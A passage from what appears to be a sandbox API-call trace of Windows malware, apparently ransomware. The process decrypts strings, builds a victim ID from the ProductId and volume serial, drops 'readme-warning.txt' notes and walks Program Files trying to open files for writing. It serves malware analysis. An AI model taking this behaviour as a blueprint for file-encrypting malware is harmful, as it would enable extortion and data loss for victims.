(hKey=0x9b6628) returned 1 [0163.494] GetProcessHeap () returned 0x990000 [0163.494] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b7b48 [0163.494] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0163.494] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b7b48, pdwDataLen=0x29df0a8 | out: pbData=0x9b7b48, pdwDataLen=0x29df0a8) returned 1 [0163.494] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.494] GetProcessHeap () returned 0x990000 [0163.494] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0163.494] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0163.494] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dec88 | out: pbData=0x9af840, pdwDataLen=0x29dec88) returned 1 [0163.495] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.495] GetProcessHeap () returned 0x990000 [0163.495] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18f0 [0163.495] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0163.495] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18f0, pdwDataLen=0x29dec88 | out: pbData=0x9b18f0, pdwDataLen=0x29dec88) returned 1 [0163.495] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.495] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29dec84 | out: phkResult=0x29dec84*=0xf0) returned 0x0 [0163.495] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dec90, lpcbData=0x29dec8c*=0x400 | out: lpType=0x0, lpData=0x29dec90*=0x30, lpcbData=0x29dec8c*=0x18) returned 0x0 [0163.495] RegCloseKey (hKey=0xf0) returned 0x0 [0163.495] GetProcessHeap () returned 0x990000 [0163.495] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0163.495] GetProcessHeap () returned 0x990000 [0163.495] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18f0 | out: hHeap=0x990000) returned 1 [0163.495] GetProcessHeap () returned 0x990000 [0163.495] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18f0 [0163.495] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0163.495] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18f0, pdwDataLen=0x29dea5c | out: pbData=0x9b18f0, pdwDataLen=0x29dea5c) returned 1 [0163.496] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.496] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0163.496] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0163.496] GetProcessHeap () returned 0x990000 [0163.496] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18f0 | out: hHeap=0x990000) returned 1 [0163.496] wsprintfA (in: param_1=0x29deca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0163.496] wsprintfA (in: param_1=0x29df0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0163.496] GetProcessHeap () returned 0x990000 [0163.496] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b7f10 [0163.496] wsprintfW (in: param_1=0x29de084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\readme-warning.txt") returned 73 [0163.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.498] WriteFile (in: hFile=0xf0, lpBuffer=0x9b7f10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de080, lpOverlapped=0x0 | out: lpBuffer=0x9b7f10*, lpNumberOfBytesWritten=0x29de080*=0x3b3, lpOverlapped=0x0) returned 1 [0163.499] CloseHandle (hObject=0xf0) returned 1 [0163.500] GetProcessHeap () returned 0x990000 [0163.500] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b48 | out: hHeap=0x990000) returned 1 [0163.500] GetProcessHeap () returned 0x990000 [0163.500] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7f10 | out: hHeap=0x990000) returned 1 [0163.500] GetProcessHeap () returned 0x990000 [0163.500] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0163.500] GetProcessHeap () returned 0x990000 [0163.500] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0163.500] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0163.500] GetProcessHeap () returned 0x990000 [0163.500] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0163.500] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Help", cAlternateFileName="")) returned 1 [0163.500] GetProcessHeap () returned 0x990000 [0163.500] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x78) returned 0x9a9d68 [0163.500] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0163.501] GetProcessHeap () returned 0x990000 [0163.501] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0163.501] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0163.501] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0163.501] GetProcessHeap () returned 0x990000 [0163.501] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x27a) returned 0x9b78c0 [0163.501] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0163.501] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0163.501] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0163.501] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0163.501] GetProcessHeap () returned 0x990000 [0163.501] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0163.501] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0163.501] GetProcessHeap () returned 0x990000 [0163.501] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x76) returned 0x9a9d68 [0163.501] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0163.503] GetProcessHeap () returned 0x990000 [0163.503] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0163.503] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0163.503] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0163.503] GetProcessHeap () returned 0x990000 [0163.503] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x278) returned 0x9b78c0 [0163.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.505] GetLastError () returned 0x5 [0163.505] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0163.505] GetProcessHeap () returned 0x990000 [0163.505] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.505] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.508] GetProcessHeap () returned 0x990000 [0163.508] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.508] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.508] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.508] GetProcessHeap () returned 0x990000 [0163.508] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.509] GetLastError () returned 0x5 [0163.509] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.509] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.509] GetProcessHeap () returned 0x990000 [0163.509] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.509] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0163.510] GetProcessHeap () returned 0x990000 [0163.510] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.510] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.510] GetProcessHeap () returned 0x990000 [0163.510] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.510] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.510] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.510] GetProcessHeap () returned 0x990000 [0163.510] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.510] GetLastError () returned 0x5 [0163.510] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.511] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.511] GetProcessHeap () returned 0x990000 [0163.511] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.511] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0163.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.511] GetLastError () returned 0x5 [0163.511] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0163.511] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0163.511] GetProcessHeap () returned 0x990000 [0163.511] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.512] GetProcessHeap () returned 0x990000 [0163.512] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.512] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.512] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.512] GetProcessHeap () returned 0x990000 [0163.512] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.512] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.513] GetLastError () returned 0x5 [0163.513] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, 